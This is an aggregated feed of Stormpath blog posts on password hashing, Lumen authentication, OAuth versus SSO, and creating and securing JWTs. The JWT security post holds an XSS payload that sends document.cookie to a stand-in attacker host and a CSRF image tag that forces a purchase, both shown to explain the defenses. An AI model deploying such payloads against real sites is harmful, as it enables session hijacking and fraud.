Quantcast
Channel: Blog – Stormpath User Identity API
Viewing all 278 articles
Browse latest View live

Three Quick Ways to Increase Customer Data Security

$
0
0

The world of user data security is vast, complicated, and for many teams, difficult to navigate. When working with a legacy application, it can be difficult to determine the first, easy steps to ensure your user and customer data is more secure. But a few quick tips can dramatically improve user data security in most environments. At Stormpath, user data security is our top priority, so we want to share a few ideas to help you upgrade quickly.

Step 1: Separate The User Store from Application Data

One of the first – and easiest – steps to increase customer data security in the cloud is to separate user credentials and personally identifiable information (PII) from application data. Separating the user store ensures that any data collected by or provided to your application is not easily matched to its owner. What you separate depends on the application’s use case, but typically separated user data includes usernames, email, passwords and PII such as addresses or geolocational data.

This separation of user data provides several benefits:

  • It simplifies the task of keeping your users anonymous. If an attacker finds a way into your application data, it will be harder for them to tie that data to a user or any of the user data they may be after (PII).
  • It can simplify your security overhead by isolating user data, which demands higher security, from application data that may need to be easier to access and manipulate for performance reasons.
  • It can make it easier to meet privacy requirements, whether imposed by a government, company or user demand.
  • It is a requirement in some parts of the medical and financial industries: this method supports HIPAA compliance, as well as other standards.

One of the typical use cases for Stormpath is to create a totally separate data store that runs on separate infrastructure, either in our public cloud, our isolated enterprise cloud, or on a private deployment. The separation of infrastructure increases user security even further – user data is less vulnerable to attacks on your core system and network.

Of course, don’t forget that user authentication data and PII should be protected and well-encrypted, both at rest and in transit, which brings us to the second step.

Step 2: Use a Strong Password Hashing Algorithm

We all know that user authentication data shouldn’t be stored in plaintext, but do we all follow that rule? By one estimate, 30% of companies store or transmit passwords in plaintext.

Employing an advanced hashing algorithm like bcrypt or scrypt makes hacking authentication data more difficult and more time intensive. Both of these algorithms are designed to take a long time to compute a hash in order to slow down brute force cracking attempts. Bcrypt, for example, uses a CPU-intensive algorithm to ensure password attacks require enormous computing power. Scrypt takes it one step further by requiring enormous amounts of memory to compute password hashes in addition to its high CPU requirements. Thus, attackers are forced to spend lots of time and money to attempt even the smallest of password cracking operations.

Last, remember to encrypt your backups and database dumps. It seems obvious, but forgetting this step introduces a common attack vector in cloud computing. If your backup process doesn’t involve AES256, you might have an issue. If you’re looking for a secure way to store offsite backups, you might enjoy using tarsnap (created and ran by the Colin Percival, the creator of scrypt).

We believe it’s faster to use Stormpath’s pre-built Password Securityand one of our 15-minute quickstarts than to roll your own password security. But if you must build it yourself, check out our blogpost on building Password Security the Right Way and our handy Developer Best Practices Video on the Five Steps to Password Security.

Step 3: Frequently Update Your Hashing Complexity

When was the last time you updated your password hashing algorithm’s complexity?

One of the most common attack vectors is password infrastructure that hasn’t been properly maintained.

All hashing algorithms will be broken over time, and as you can see from that chart, some commonly-used hashes are actually incredibly insecure. There are two ways to stay ahead of the curve:

  1. Make it part of annual plan to update your hashes annually by increasing the factor or entropy. Using bcrypt or scrypt gives you the ability to tweak the ‘complexity’ of your hashing algorithm (changing how long it takes to compute a hash) via a configuration option.

  2. If you have any infrastructure currently securing passwords with anything other than bcrypt or scrypt, upgrade them to bcrypt or scrypt immediately. To make this truly easy for you, here are some upgrade tutorials for Python and PHP. Lot of other examples can be found online.

At Stormpath, we update our hashing complexity every 6-12 months, and can help migrate from your legacy user store to Stormpath Password Security if you don’t want to build this yourself.


5-Minute Authentication for the Lumen PHP Micro-Framework

$
0
0

Stormpath + Lumen

We’re pretty excited by the rapid growth of new, lightweight frameworks for building microservices and APIs. First, they rapidly speed the development time for simple web applications, and they also support a flexible, developer-friendly architectural approach.

Lumen, a new project from the creator of Laravel, is one of these great new microframeworks. A leaner version of Laravel that uses some of the same components, it simplifies tasks common to web projects: routing, databases, queueing, and caching.

One of the challenges of micro-frameworks like Lumen, however, is that they often come with very little support for authentication and user management. Because they are designed for services and APIs, support for front-end packages like Bootstrap and functionality like sessions aren’t enabled by default, and authentication functionality can be limited. This can be a hitch for PHP developers who need, but don’t want to spend a lot of time building, user login and registration screens.

Wouldn’t it be nice if you could add authentication to your Lumen application in under 5 minutes? Well, with the new integration of Stormpath’s ID Site feature into our PHP SDK, it is now very simple. This post will show you exactly how to do it.

What is Stormpath ID Site?

Stormpath ID Site is a set of hosted user interface screens pre-built with common identity functions: user login and registration, and password reset. ID Site can be accessed via your own custom domain like id.mydomain.com and shared across multiple applications to create a seamless user experience across your products.

Although everything is pre-built, the screens and even the functionality of ID Site are completely customizable. You have full access to the screen source code so you can make simple changes like adding your own logo and changing CSS or more complex changes like adding fields, adding JavaScript code, and even adding/removing screens and changing how they behave.

Prepping Your System

The next bit of information is only needed if you are starting from scratch (and not included in our 5 minute parameters). Feel free to skip if you have a functional application, but here is how I get a Lumen project set up before I even get to any coding.
What You Need:

  • Composer is a package manager for PHP and I highly recommend for you to use it in your every day development. If you are unaware of Composer, this guide may be a little too advanced and I would suggest coming back after you check out the information available to you on their website
  • Local webserver
  • Lumen
  • A Free Stormpath Account

Create a Lumen project

The first thing you need to do is create a new Lumen project. This is a simple process with Composer. Open your project file in Terminal (or command prompt) and type composer global require "laravel/lumen-installer=~1.0". This will install the Lumen installer. After the installer is finished, run the command lumen new my-php-project to create a new Lumen project.

Configure Your Lumen Project

Before we begin, a few configurations will make the Lumen project to behave the way we want it to.

Allow Dotenv to Load

For this project, I will use DOTENV package. This allows me to add my API keys in that file, so I don’t have to worry about what to do with them when I commit.

First, you will need to go into the bootstrap/app.php file and at the top, find the following line:

//Dotenv::load(__DIR__.'/../');

On this line, replace the contents with the following.

Dotenv::makeMutable();
Dotenv::load(__DIR__.'/../');
Dotenv::makeImmutable();

With this change, we allow the .env file to load. Within the root of your project, you will find a .env.example file. Rename this file to .env; Now, all key/value pairs in this file will be loaded into your environment variables

Note: Lumen uses the vlucas/phpdotenv package from Packagist which allows you to set environment variables from a file. It is a very helpful package and I suggest looking it up to find out more.

Turn on Sessions

We will be using sessions in this example, but they are not on by default. To turn sessions on, Go back into your bootstrap/app.php file and find the lines that are commented with the following:

// $app->middleware([
//      'Illuminate\Cookie\Middleware\EncryptCookies',
//      'Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse',
//      'Illuminate\Session\Middleware\StartSession',
//      'Illuminate\View\Middleware\ShareErrorsFromSession',
//      'Laravel\Lumen\Http\Middleware\VerifyCsrfToken',
// ]);

We want to allow sessions, so you will need to uncomment the line Illuminate\Session\Middleware\StartSession along with the opening and closing $app->middleware([ ])

Tip: For more information on middleware, Check out the Lumen Middleware Documentation

Install the Stormpath PHP SDK

Start the clock.

At the time of writing this article, the Stormpath PHP SDK is at 1.3.0-beta and can be found on Packagist. It is very easy to install with Composer for PHP package management.

There are a couple of ways to add a package to Composer for your project: 1) manually or 2) from the command line. If you want to do it manually, just open your composer.json file and add the line "stormpath/sdk": "1.3.0-beta" to the require section and then run composer update. To do it via the command line, just run the following command: composer require stormpath/sdk:1.3.0-beta and this will install the latest version of the sdk.

Congratulations! You now have access to the PHP SDK for Stormpath, which allows you to use ID site.

Configuration and API Keys

To use the Stormpath API, you will need to sign up for a Free Stormpath account – the core features of the API, as well as developer support and a good number of API calls every month are available to free Stormpath users.

API Keys are available from the Stormpath Dashboard. It is very easy to create new API Keys.

  1. Go to the Stormpath Dashboard and on the right side of the page, you will see “Developer Tools” where you can manage your API keys. Click “Manage API Keys”. Manage Stormpath API Key

  2. At the bottom of the Manage Keys page, find a button to create an API key: Create Stormpath API Key

  3. Doing so will remind you of some warnings. Keep the file safe, and you will only be able to download it once.

  4. Comfirming and creating the API key will begin the download. Make sure you save your API Key in a location where you can find it later. We will need it in a minute. Stormpath API Key Download

When you get the API Keys, open the file and add the info to the .env file, by adding this to the end of the .env file:

STORMPATH_ID={YOUR_API_ID_HERE}
STORMPATH_SECRET={YOUR_API_SECRET_HERE}
STORMPATH_APPLICATION={YOUR_APPLICATION_ID_HERE}

Just change out the values match your keys. You will also need your Application ID for the configuration file to successfully use ID Site. The Application ID is a string found on in the Stormpath console. Stormpath console > Applications Tab > Select your application. The Details page will list the ID, which you can copy into your .env file.

Configuration ID Site Settings

While we are in the Stormpath console, we should also set up the callback URL for the application. For the sample application here, we are going to be sending users back to our site at the url http://localhost:8000/idSiteResponse. It is very important that you use the exact url that you want your site to respond to the callback. To set this up, go back into the Stormpath console and click on ID Site in the top menu:

Stormpath ID Site Settings

Once you are in the settings, scroll down to the “Authorized Redirect URLs” section and paste in the exact url for the callback. Stormpath ID Site Callback

Creating the Routes

You will be using a total of six routes (url endpoints). These routes are:

  • /
  • /login
  • /logout
  • /register
  • /forgotPassword
  • /idSiteResponse

Go ahead and scaffold these out:

$app->get('/', function() {

});

$app->get('login', function() {

});
$app->get('logout', function() {

});
$app->get('register', function() {

});
$app->get('forgotPassword', function() {

});

$app->get('idSiteResponse', function() {
});

Now your project should start to look like an application with authentication. No? Then, let’s prep the homepage view. Lumen uses the idea of views, but by default the homepage view is returned from a function. To change this, create a new file resources/views/welcome.php with the following:

<html>
<head>
    <title>Lumen</title>
    <link href='https://stormpath.com//fonts.googleapis.com/css?family=Lato:100' rel='stylesheet' type='text/css'>
    <style>
        body {
            margin: 0;
            padding: 0;
            width: 100%;
            height: 100%;
            color: #B0BEC5;
            display: table;
            font-weight: 100;
            font-family: 'Lato';
        }
        .container {
            text-align: center;
            display: table-cell;
            vertical-align: middle;
        }
        .content {
            text-align: center;
            display: inline-block;
        }
        .title {
            font-size: 96px;
            margin-bottom: 40px;
        }
        .quote {
            font-size: 24px;
        }
    </style>
</head>
<body>
    <div class="container">
        <nav>
            <?php if( Session::has('user') ): ?>
                Welcome, <?php echo Session::get('user')->givenName; ?> |
                <a href="https://stormpath.com/logout">Logout</a>
            <?php else : ?>
                <a href="https://stormpath.com/login">Login</a> |
                <a href="https://stormpath.com/register">Register</a> |
                <a href="https://stormpath.com/forgotPassword">Forgot Password</a>
            <?php endif; ?>
        </nav>
        <div class="content">
            <div class="title">Lumen.</div>
        </div>
    </div>
</body>
</html>

Note: The code examples here are a little condensed. There are best practices for encapsulating and packaging services that I am not using here for the sake of clarity.

Time To Code

With the addition of ID Site in the SDK, it introduces the use of JWTs (JSON Web Tokens). The Stormpath API makes it easy for you to generate one of these tokens and a url to redirect the user to.

Next, create some base code, which will instantiate the Client for the Stormpath SDK.

$id = $_ENV['STORMPATH_ID'];
$secret = $_ENV['STORMPATH_SECRET'];
\Stormpath\Client::$apiKeyProperties = "apiKey.id=$id\napiKey.secret=$secret";
$application = \Stormpath\Resource\Application::get($_ENV['STORMPATH_APPLICATION']);

For now, place this in the top of your routes.php file. For final production apps, you would not want to do this, but rather store it in a service provider or even its own package.

To create the logic for the login, you will need to give access to the $application variable within the closure and then create the ID Site url to redirect to.

$app->get('login', function() use ($application) {
    $url = $spapplication->createIdSiteUrl(['callbackUri'=>'http://localhost:8000/idSiteResponse']);
    return redirect($url);
});

This is all you need for ID Site to generate the url for you to redirect to. You will notice that there is no logic in here for the login itself and we do not generate the url until the user clicks on login. This is because the JWT expires after one minute and will no longer be valid. The one-minute expiration is part of the SDK and not customizable.

Important Gotcha: Make sure that the callback URL used here is the one that we set up earlier in the Stormpath ID Site settings. If you do not do this part correctly, you will not be able to continue.

Half way there for the login! Now, you just need to deal with handling the callback to your site. You will do that at the /idSiteResponse url and take care of some logic and storing a reference to the user that logged in from that route.

$app->get('idSiteResponse', function() use ($application) {
    $response = $application->handleIdSiteCallback($_SERVER['REQUEST_URI']);

    switch($response->status) {
        case 'AUTHENTICATED' :
            Session::put('user', $response->account);
            Session::flash('notice', 'You have been logged in');
            return redirect('/');
            break;
    }
});

The route here will again use the application variable and call a method on it of handleIdSiteCallback and pass in the URL. This URL will include a JWTResponse token which will be decoded and checked. Within the JWT, is a status in which you can use to make sure the user was authenticated. At this point, there is some code that is custom to Lumen which will set the user session with the account object from the callback.

Now that wasn’t too bad, was it?

Next up, you will finish the rest of the methods for logout, forgotPassword, and Register.

Logout

$app->get('logout', function() use ($application) {

    $url = $application->createIdSiteUrl(['logout'=>true, 'callbackUri'=>'http://localhost:8000/idSiteResponse']);

    return redirect($url);
});

Register

$app->get('register', function() use ($application) {

    $url = $application->createIdSiteUrl(['path'=>'/#/register','callbackUri'=>'http://localhost:8000/idSiteResponse']);

    return redirect($url);
});

Forgot Password

$app->get('forgotPassword', function() use ($application) {

    $url = $application->createIdSiteUrl(['path'=>'/#/forgot','callbackUri'=>'http://localhost:8000/idSiteResponse']);

    return redirect($url);
});

So, Why Should I Use Stormpath ID Site?

ID Site fully decouples your identity screens from your applications, making it incredibly easy to provide the same login / registration pages for multiple applications — achieving a centralized authentication system with a clean and easy user experience. It’s also a dang easy way to roll simple login screens for a new application or proof of concept.

However, Stormpath ID Site is different from traditional from traditional, SAML-based Single Sign-On, and may not be the right option for an internal application focused on your employees.

Resources

Feel free to hit me up on Twitter or in the comments below with any questions or comments!

Build Secure User Interfaces Using JSON Web Tokens (JWTs)

$
0
0

Stormpath JWTs

JSON Web Tokens (JWTs) are being prescribed as a panacea for webapp security, but you need to know your security basics before you can implement them with peace of mind. JWTs are a great mechanism for persisting authentication information in a verifiable and stateless way, but that token still needs to be stored somewhere.

This article will explain the security loopholes in web browsers, and what you can do about them – keeping your JWTs safe and secure.

Know Thy Web Application Vulnerabilities

If you’re writing a UI that runs inside of a browser environment, you need to know the potential security issues. We’ll cover these primary areas of security in our article:

  1. Securing user credentials (i.e. passwords)
  2. Preventing malicious code from running in your webapp
  3. Using cookies, securely!

To start, if you’re unfamiliar with how JSON Web Tokens work and want an introduction, check out my article on Token-Based Authentication for Single Page Apps and Tom Abbott’s article on how to Use JWT The Right Way for a great introduction.

1. Securing User Credentials – Session Cookies Vs. JWTs

Login forms are one of the most common attack vectors. We want the user to give us a username and password, so we know who they are and what they have access to. We want to remember who the user is, allowing them to use the UI without having to present those credentials a second time. And we want to do all that securely. How can JWTs help?

The traditional solution is to put a session cookie in the user’s browser. This cookie contains an identifier that references a “session” in your server, a place in your database where the server remembers who this user is.

This strategy is secure, if the following conditions are met:

  • You implement HTTPS on your server, and the login form is posted over this secure channel.
  • You store the session ID in a secure, HTTPS-only cookie that can only be sent to your server over secure channels.

However there are some drawbacks to session identifiers:

  • They’re stateful. Your server has to remember that ID, and look it up for every request. This can become a burden with large systems.
  • They’re opaque. They have no meaning to your client or your server. Your client doesn’t know what it’s allowed to access, and your server has to go to a database to figure out who this session is for and if they are allowed to perform the requested operation.
  • They’re in a silo. They only have meaning within your system, and cannot be used to share authentication assertions with other services and APIs.

JWTs address all of these concerns by being a self-contained, signed, and stateless authentication assertion that can be shared amongst services with a common data format. We’ll come back to JWTs after we discuss the other browser security issues.

2. Preventing Malicious Code (XSS)

Web browsers are great because they can do many things and incorporate resources from many websites. But this is also their downfall! It’s incredibly easy for someone to inject malicious code into your site.

For example, If you provide a chat box on your website that allows me to put whatever I want in it (it doesn’t “escape” the content) then I can put this code in it:

<img src=x onerror="document.body.appendChild(function(){var a = document.createElement('img');
a.src='https://hackmeplz.com/yourCookies.png/?cookies=’
+document.cookie;return a}())"

With that code, I’ve just stolen all the cookies for your domain and sent them to hackmeplz.com! (For more XSS demos, see Introduction to cross-site scripting) at Google.

How do you prevent this? There are a few things you need to do:

  • Escape Content. This means removing any executable code that would cause the browser to do something you don’t want it to. Typically this means removing <script> tags and HTML attributes that cause JavaScript to be evaluated. However, DO NOT TRY TO DO THIS YOURSELF. Use a known library, or the auto-escaping features of your favorite template library. This needs to be done in the browser AND on your server, if you allow users to submit data that is saved into a database.

  • Use HTTPS-Only Cookies. In my example, I showed you how I could steal cookies with an XSS attack. One way to prevent this is to set the HttpOnly; Secure; flags on your cookies. This prevents the JavaScript environment from accessing them, they will only be communicated to your server when needed and only over secure channels.

3. How To Use Cookies Securely

Cookies have a bad reputation because they track us on the internet and are easy to steal, but the reality is that they CAN be used as a secure storage area for authentication information (such as JWTs). Let’s talk about how cookies can be compromised, and how to solve the problem. This is important to understand before we consider using cookies as a place to store JWTs.

Man-In-The-Middle (MITM) Attacks

In this type of attack, someone is “listening” to the traffic between the browser and the server. The most common MITM happens at Internet cafes, by listening to the WiFi. More malicious forms are malware and hijacked proxy servers.

The solution is to use HTTPS on your site, and use the Secure flags on your cookies to ensure that the cookies are not sent “in the clear”. If you have a distributed infrastructure, also use HTTPS between any services which convey sensitive information like cookies. The cloud is NOT inherently secure.

Cross Site Request Forgery (CSRF)

This type of attack is taking advantage of a simple fact about web browsers: simple GET requests, like loading an image, do NOT follow the Same Origin Policy. For example, let’s say you have a URL like this on your website:

http://trustyapp.com/buy?type=oneClick&item=X&quantity=Y

This URL lets your browser application make one-click purchases of expensive items. How can I exploit this URL? Let’s say I trick your user into visiting a website which has this image tag on it:

<img src="http://trustyapp.com/buy?type=oneClick&item=badassQuadCopter&quantity=5000"/>

When the browser sees that image tag, it will make a GET request for that URL. When it does this it will send the cookies for your domain! If your server blindly believes the session cookies, it has no idea that this request is malicious and will submit an order for 5000 quadcopters!

How to Secure Your UI Against CSRF

You want to trigger the Same Origin Policy (SOP) in the browser. How do you do this? By trying to read cookies, from Javascript. Why? Because the SOP won’t let you read the cookies from another domain. This is referred to as the Double Submit Cookie Strategy, and here’s what you do:

  • You use HttpOnly; Secure for the session cookie.
  • You create another xsrf-token cookie, and store a random value in it. (This cookie does NOT have the HttpOnly; Secure flags)
  • When your Angular application tries to submit one-click orders, it reads the xsrf-token cookie and sends it to the serer via a GET parameter or a custom HTTP header.
  • Your server verifies that the xsrf-token is associated with the user’s session.

How does this prevent the attacker? Because the attacker, on another domain, cannot read the cookies from your domain, they won’t be able to get the value of the xsrf-token, and won’t ever be able to send it. Because they can’t send the value, the server will never be able to validate the request.

Using JSON Web Tokens to Secure Your Web App UI

JWTs are self-contained strings signed with a secret key. They contain a set of claims that assert an identity and a scope of access. They can be stored in cookies, but all those rules still apply. In fact, JWTs can replace your opaque session identifier, so it’s a complete win.

If you encounter a JWT in the wild, it will look like this:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczovL2FwaS5zdG9ybXBhdGguY29tL3YxL2FwcGxpY2F0aW9ucy81WndFRjdud0x3Y0dYd3h0aFJiZDI3Iiwic3ViIjoiaHR0cHM6Ly9hcGkuc3Rvcm1wYXRoLmNvbS92MS9hY2NvdW50cy81ell0RFAxaG85S0laMTNOeHkzU0NpIiwianRpIjoiYWYyZjMwMzctZWEzNi00NzM2LWFlYWQtMzE1NjI3YjM0Y2Q5IiwiaWF0IjoxNDMzMTk1NTk1LCJleHAiOjE0MzMxOTkxOTUsInhzcmZUb2tlbiI6Ijk2Njg4Y2ZkLTYxMjItNGY2OC1hZTAwLTM3YTljMmJhYWZiNCJ9.KfRkBoE83wirxrOJttF9lAx1lD1xPO_zl0DsrzdYkYY

Hmm… looks like an opaque session ID, you say? Well, that’s just how it looks! In fact it’s a three-part string, separated by periods. If you base 64 decode each part, you get the three parts of a JWT:

The Header:

{
  "typ":"JWT",
  "alg":"HS256"
}

The header is telling us how this token was signed. All JWTs should be signed with a private signing key. When a JWT is used for authentication, your server must verify that the token has been signed with the server’s private key. Otherwise, someone could create an arbitrary JWT that would be trusted by your system.

Body:

{
  "iss":"http://trustyapp.com/",
  "exp": 1300819380,
  "sub": "users/8983462",
  "scope": "self api/buy"
}

The claims body is where the JWT really shines. It tells us:

  • Who the user is (sub)
  • Who issued this token (iss)
  • When it expires (exp)
  • What this user can do (scope)

Because we’ve signed this token, we can trust this information (after verifying the signature!). With this trust, our sever can get on with the task of resolving the request accordingly – no need to hit your database for all this information!

Signature:

"tß´—™à%O˜v+nî…SZu¯µ€U…8H×"

This is the hash that was created by the signing algorithm, you will use this (with your secret key) to verity that the token was issued by your service.

How To Store JWTs In The Browser

Short answer: use cookies, with the HttpOnly; Secure flags. This will allow the browser to send along the token for authentication purposes, but won’t expose it to the JavaScript environment.

Remember! You need to implement CSRF prevention as well

Don’t use use Local Storage, it has a very different (and more liberal) SOP than cookies do, and is always vulnerable to XSS attacks because it’s a JavasScript API. I suggest reading the HTML5 Security Cheat Sheet for a detailed discussion of Local Storage.

You may be wondering: what if my browser application needs to read the access token, because it wants to use the information in the token?

An alternative is to send a customized JSON response down to the browser, on successful login. This JSON response can be the claims body of the token, omitting the header and signature. The browser can cache this information in cookies or local storage, and use it to make UI rendering decisions. Because the signature is not stored locally, a malicious script could never use the claims body to forge a request.

Implicit Trust is a Tradeoff

How long can this token be trusted? How do you know if it’s been stolen during a MITM attack? These are the challenges posed by JWTs.

Refresh tokens are the typical solution. In this situation, you provide a short lived access token, and a longer lived token used to get more shorter-lived tokens. Both of these can be JWTs, though the claims bodies will look different. This gives you some control over how often you re-hit your authentication database to assert that the user is still allowed to have tokens.

If you need high security, you can add a unique value to every access token, using the jti field in the claims body. You can then maintain a blacklist of tokens that you know have been compromised. You can purge your blacklist of tokens as they expire.

In Summary: JWTs For The Win

JWTs are a modern solution to an old problem: how to I know who this user is? They help us by being signed and stateless, and by having a common data format. They don’t help us secure our browser applications, that’s your responsibility.

Stormpath offers a number of resources to help you use JWTs securely:

And if you’re interested in not building any of this yourself, get started with our AngularJS Guide.

Let me your thoughts in the comments below, or reach out to our support team with questions about your Stormpath integration: support@stormpath.com.

OAuth is not Single Sign-On

$
0
0

We’ve been on a conference blitz over the last few months at Stormpath, and standing in the booth, we get asked a lot of questions about authentication and authorization: protocols, systems, services and security.

Two areas where the misinformation – and therefore misunderstanding – tends to hang out, are Oauth and Single Sign-On. And where they intersect.

To Start, OAuth is not the same thing as Single Sign On (SSO). While they have some similarities — they are very different.

OAuth is an authorization protocol. SSO is a high-level term used to describe a scenario in which a user uses the same credentials to access multiple domains.

What the Heck is OAuth?

OAuth is an authorization protocol that allows a user to selectively decide which services can do what with a user’s data.

For instance, if you attempt to log into Spotify using Facebook, you’ll be redirected to Facebook’s website and will see something like the following:

Spotify Facebook Login

What’s happening is that you’ve authenticated with Facebook directly, and now you’re being asked for Spotify’s permission to access YOUR data. This is an authorization request (eg: what can Spotify do, what can they NOT do?).

OAuth’s primary purpose is to give users more control over their data, so you can selectively grant access to various bits of functionality for various applications that you may want to use.

NOTE: I covered this in depth a few weeks ago in an OAuth specific article I’d highly recommend reading if you aren’t already an OAuth expert: What the Heck is OAuth?

What the Heck is Single Sign-On (SSO)?

Single Sign-On, on the other hand, is a not a protocol — it’s more of a high level concept used by a wide range of service providers (sometimes with confusing differences).

SSO is an authentication / authorization flow through which a user can log into multiple services using the same credentials.

For instance, at your company, you might want to use one set of credentials to access:

  • Your internal company website.
  • Your Salesforce account.
  • Your Atlassian account.
  • etc.

Instead of making each employee at your company create different accounts for each of those services they use all the time, you can instead create a single account for each employee that grants them access to all of your company services.

This is SSO.

One of the main benefits to using SSO is that your users have only a single account and password to remember which gets them into all of their services. This typically makes account management / user data storage simpler for employees, as there’s less duplicate data floating around between systems.

If you’re working on projects at a large company, SSO can be a really nice way to manage your users. You have a lot more control over user accounts and user data: you retain this information and interface with providers using the Security Assertion Markup Language (SAML).

Essentially what happens is this:

  • You store your user accounts in your own internal system.
  • You create a SAML compatible interface to talk to various SAML providers (like Salesforce, Microsoft, etc.).
  • Your users can then authenticate just once, and log into any of the compatible providers.

If you’d like a more in-depth introduction to SSO and SAML, I’d highly recommend reading the Salesforce Single Sign On Guide. It does a great job of explaining what all the benefits of traditional are, and how to implement things properly.

Should I Use OAuth or SSO?

At the end of the day, there are really two separate use cases for OAuth and SSO.

If you want your users to be able to use a single account / credential to log into many services directly, use SSO.

If you want your users to have accounts on many different services, and selectively grant access to various services, use OAuth.

And… If you want to support either OAuth or SSO, go create a Stormpath account! We make it really easy to do both!

Create and Verify JWTs with Node.js

$
0
0

JWT, access token, token, OAuth token.. what does it all mean??

Properly known as “JSON Web Tokens”, JWTs are a fairly new player in the authentication space. Being the cool new thing, everyone is hip to start using them. But are you doing it securely? In this article we’ll discuss best practices for JWTs, while showing you how to use the nJwt library for creating and verifying JWTs in your Node.js application.

What is a JSON Web Token (JWT)?

In a nutshell, a JWT is an object that can tell you things about a user and what they’re allowed to do. JWTs are meant to be issued by a trusted authority and given to a user. Typically this means your server is creating the JWT and sending it to your user’s web browser or mobile device for safe keeping.

JWTs can be digitally signed with a secret key. Doing so allows you to assert that a token was issued by your server and was not maliciously modified.

When the token is signed, it is “stateless”: this means you don’t need any extra information, other than the secret key, to verify that the information in the token is “true”. This great feature allows you to remove that pesky session table in your database.

When Should I Use Them?

JWTs are typically used to replace session identifiers. For example: if you’re using a session system which stores an opaque ID on the client in a cookie while also maintaining session in a database for hat ID. With JWTs you can replace both the session data and the opaque ID.

You’ll still use a cookie to store the access token, but you need to make sure you secure your cookies. For more information on that topic I’ll refer you to my other post, Build Secure User Interfaces Using JSON Web Tokens (JWTs).

With the token stored in a secure cookie, the user’s client will supply the token on every subsequent request to your server. This allows the server to authenticate the request, without having to ask for credentials a second time (until the token expires, that is).

How to Create a JWT

There are a few things you’ll need in order to create a JWT for a user, we’ll walk through each of these steps in detail:

  1. Generate the secret signing key
  2. Authenticate the user
  3. Prepare the claims
  4. Generate the token
  5. Send the token to the client

1. Generate the Secret Signing Key

To be secure, we want to sign our tokens with a secret signing key. This key should be kept confidential and only accessible to your server. It should be highly random and not guessable. In our example, we’ll use the node-uuid library to create a random key for us:

var secretKey = uuid.v4();

2. Authenticate the User

Before we can make claims about the user, we need to know who the user is. So the user needs to make an initial authentication request, typically by logging into your system by presenting a username and password in a form. It could also mean that they’ve presented an API key and secret to your API service, using something like the Authorization: Basic scheme.

In either situation, your server should verity the user’s credentials. After you’ve done this and obtained the user data from your system, you want to create a JWT which will “remember” the information about the user. We’ll put this information into the claims of the token.

3. Prepare The Claims

Now that we have the user data, we want to build the “claims” of the JWT. That will look like this:

var claims = {
  sub: 'user9876',
  iss: 'https://mytrustyapp.com',
  permissions: 'upload-photos'
}

Let’s discuss each of these fields. Technically speaking, you can create a JWT without any claims. But these three fields are the most common:

  • sub – This is the “subject” of the token, the person whom it identifies. For this field you should use the opaque user ID from your user management system. Don’t use personally identifiable information, like an email address.

  • iss – This is the “issuer” field, and it lets other parties know who created this token. This could be the URL of your website, or something more specific if your website has multiple applications with different user databases.

  • permissions – Sometimes you’ll see this as scope if the JWT is being used as an OAuth Bearer Token. This is simply a comma-seperated list of things that the user has access to do.

4. Generate the Token

Now that we have the claims and the signing key, we can create our JWT object:

var jwt = nJwt.create(claims,secretKey);

This will be our internal representation of the token, before we send it to the user. Let’s take a look at what’s inside of it:

console.log(jwt)

You will see an object structure which describes the header and the claims body of the token:

{
  header: {
    typ: 'JWT',
    alg: 'HS256'
  },
  body: {
    jti: '3ee9364e-8aca-4e39-8ba2-74e654c7e083',
    iat: 1434695471,
    exp: 1434699071,
    sub: 'user9876',
    iss: 'https://mytrustyapp.com',
    permissions: 'upload-photos'
  }
}

You’ll see the claims that you specified earlier, and many other properties. These are the secure defaults that our library is setting for you, let’s visit each one in detail:

  • alg – This declares how we’ve signed our token, in this case using the Hmac algorithm with a strength of 256 bits. If you want more security, you can bump this up to HS512

  • exp – This is the time that the token will expire, as a unix timestamp offset in seconds. By default our library sets this to 1 hour in the future. If you need to change this value, call jwt.setExpiration() and pass a Date object that represents the desired expiration time.

  • iat – This is the time that the token was created, as a unix timestamp offset in seconds.

  • jti – This is simply a random value, that is created for every JWT. We provide this in case you want to create a database of tokens that were issued. You may do this if you want to implement a token blacklist for tokens that you know have been compromised (i.e. a user tells you their account has been hacked into).

5. Send the Token to the Client

Now that we have the JWT object, we can “compact” it to get the actual token, which will be a Base64 URL-Safe string that can be passed down to the client.

Simply call compact, and then take a look at the result:

var token = jwt.compact();
console.log(token);

What you see will look like this:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqdGkiOiIyYWIzOWRhYS03ZGJhLTQxYTAtODhiYS00NGE2YmIyYjk3YWMiLCJpYXQiOjE0MzQ2OTY4MDEsImV4cCI6MTQzNDcwMDQwMX0.qRe18XcmNXB2Ily-U9dwF_8j9DuZOi35HJGppK4lpBw

This is the compact JWT, it’s a three-part string (separated by periods). It contains the encoded header, body, and signature.

How you send the token to the client will depend on the type of application you are working with. The most common use case is a login form on a traditional website. In that situation you will store the cookie in an HttpOnly cookie, so you can simply set the cookie on the POST response.

For example, if you’re using the cookies library for Express:

new Cookies(req,res).set('access_token',token,{
  httpOnly: true,
  secure: true      // for your production environment
});

Once the client has the token, it can use it for authentication. For example, if you’re building a single-page-app, the app will be making XHR requests of your server. When it does so, it will supply the cookie for authentication.

How to Verify JWTs

When a client has a token it will use it to authenticate the user. The token can be sent to your server in a cookie or an HTTP header, such as the Authorization: Bearer header.

For example, if it comes in as a cookie and you’re using the cookies library with your Express app, you could pull the token from the cookie like this:

var token = new Cookies(req,res).get('access_token');

Regardless of how the token comes in, it will be that same compacted string that you sent to the client. To verify the string, you simply need to pass it to the verify method in the library, along with the secret key that was used to sign the token:

var verifiedJwt = nJwt.verify(token,secretKey);

If the token is valid, you can log it to the console and see the same information that you put into it!

{
  header: {
    typ: 'JWT',
    alg: 'HS256'
  },
  body: {
    jti: '3ee9364e-8aca-4e39-8ba2-74e654c7e083',
    iat: 1434695471,
    exp: 1434699071,
    sub: 'user9876',
    iss: 'https://mytrustyapp.com',
    permissions: 'upload-photos'
  }
}

If the token is invalid, the verify method will throw an error which describes the problem:

JwtParseError: Jwt is expired

If you don’t want to throw errors you can use the verify function asynchronously:

nJwt.verify(token,secretKey,function(err,token){
  if(err){
    // respond to request with error
  }else{
    // continue with the request
  }
});

JWTs Made Easy!

That’s it! Creating and verifying JWTs is incredibly simple, especially with the API that nJwt gives you. No go forth and JWT all the services!

But remember: do it securely. While our nJwt library does all the security for the JWT, you also need to ensure that you application is using cookies securely. Please see my other article for an in-depth walkthrough of the security concerns:

Build Secure User Interfaces Using JSON Web Tokens (JWTs)

